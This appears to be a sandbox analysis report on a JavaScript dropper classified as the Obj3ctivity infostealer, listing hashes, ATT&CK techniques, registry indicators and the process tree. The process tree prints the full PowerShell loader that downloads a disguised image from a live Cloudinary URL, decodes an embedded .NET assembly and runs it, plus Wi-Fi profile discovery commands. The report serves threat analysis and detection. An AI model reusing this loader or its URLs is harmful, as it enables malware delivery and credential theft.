obj3ctivity | 6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8

General

Target

paste.js
Size

3KB
MD5

affbcba0899f7fb6af87418706eabb0c
SHA1

46e4e6b23c523a45a65dbd916f98f5476a4cd09a
SHA256

6c15201ff41059d46bce1d287fd60ca954e9a1ae76e22dc475f953e4328acde8
SHA512

68acae9c905e545f6d1fcec0255a4d13b9f0c8ddafb597b0ea2a686a6349d089a6736e6355cad19086ca66ad4c12e5ab732dc20990230636e3b5dbab374bc6f0

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/1788-15-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3636	powershell.exe
10	3636	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3636	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	icanhazip.com
16	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3636 set thread context of 1788	3636	powershell.exe	86

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
932	cmd.exe
1116	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
1788	MSBuild.exe
1788	MSBuild.exe
1788	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	1788	MSBuild.exe
Token: SeSecurityPrivilege	4808	msiexec.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 3636	1372	wscript.exe	82
PID 1372 wrote to memory of 3636	1372	wscript.exe	82
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 3636 wrote to memory of 1788	3636	powershell.exe	86
PID 1788 wrote to memory of 932	1788	MSBuild.exe	89
PID 1788 wrote to memory of 932	1788	MSBuild.exe	89
PID 1788 wrote to memory of 932	1788	MSBuild.exe	89
PID 932 wrote to memory of 1936	932	cmd.exe	92
PID 932 wrote to memory of 1936	932	cmd.exe	92
PID 932 wrote to memory of 1936	932	cmd.exe	92
PID 932 wrote to memory of 1116	932	cmd.exe	93
PID 932 wrote to memory of 1116	932	cmd.exe	93
PID 932 wrote to memory of 1116	932	cmd.exe	93
PID 932 wrote to memory of 1352	932	cmd.exe	94
PID 932 wrote to memory of 1352	932	cmd.exe	94
PID 932 wrote to memory of 1352	932	cmd.exe	94

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\paste.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$originalText = '#x#.621/elif/#en.salij//:sp##h';$restoredText = $originalText -replace '#', 't';$imageUrl = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737696171/heke2pmteuw8sqsplhkl.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = [ClassLibrary1.Home].GetMethod('main').Invoke($null, [object[]] @($restoredText,'false','MSBuild','false'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:932
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1936
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1116
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1352

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_arlbjek5.msf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1788-18-0x0000000005800000-0x0000000005866000-memory.dmp

Filesize
408KB

Download
memory/1788-74-0x0000000007AC0000-0x0000000007FEC000-memory.dmp

Filesize
5.2MB

Download
memory/1788-52-0x0000000006CB0000-0x0000000006D26000-memory.dmp

Filesize
472KB

Download
memory/1788-51-0x0000000006DF0000-0x0000000006E82000-memory.dmp

Filesize
584KB

Download
memory/1788-47-0x0000000006FE0000-0x0000000007584000-memory.dmp

Filesize
5.6MB

Download
memory/1788-20-0x0000000006730000-0x00000000068F2000-memory.dmp

Filesize
1.8MB

Download
memory/1788-15-0x0000000000400000-0x00000000004E6000-memory.dmp

Filesize
920KB

Download
memory/1788-19-0x0000000006510000-0x0000000006522000-memory.dmp

Filesize
72KB

Download
memory/3636-12-0x00007FFBA1760000-0x00007FFBA2221000-memory.dmp

Filesize
10.8MB

Download
memory/3636-17-0x00007FFBA1760000-0x00007FFBA2221000-memory.dmp

Filesize
10.8MB

Download
memory/3636-14-0x00000136E5FB0000-0x00000136E5FB6000-memory.dmp

Filesize
24KB

Download
memory/3636-13-0x00000136E5FA0000-0x00000136E5FB4000-memory.dmp

Filesize
80KB

Download
memory/3636-0-0x00007FFBA1763000-0x00007FFBA1765000-memory.dmp

Filesize
8KB

Download
memory/3636-11-0x00007FFBA1760000-0x00007FFBA2221000-memory.dmp

Filesize
10.8MB

Download
memory/3636-1-0x00000136CDA60000-0x00000136CDA82000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads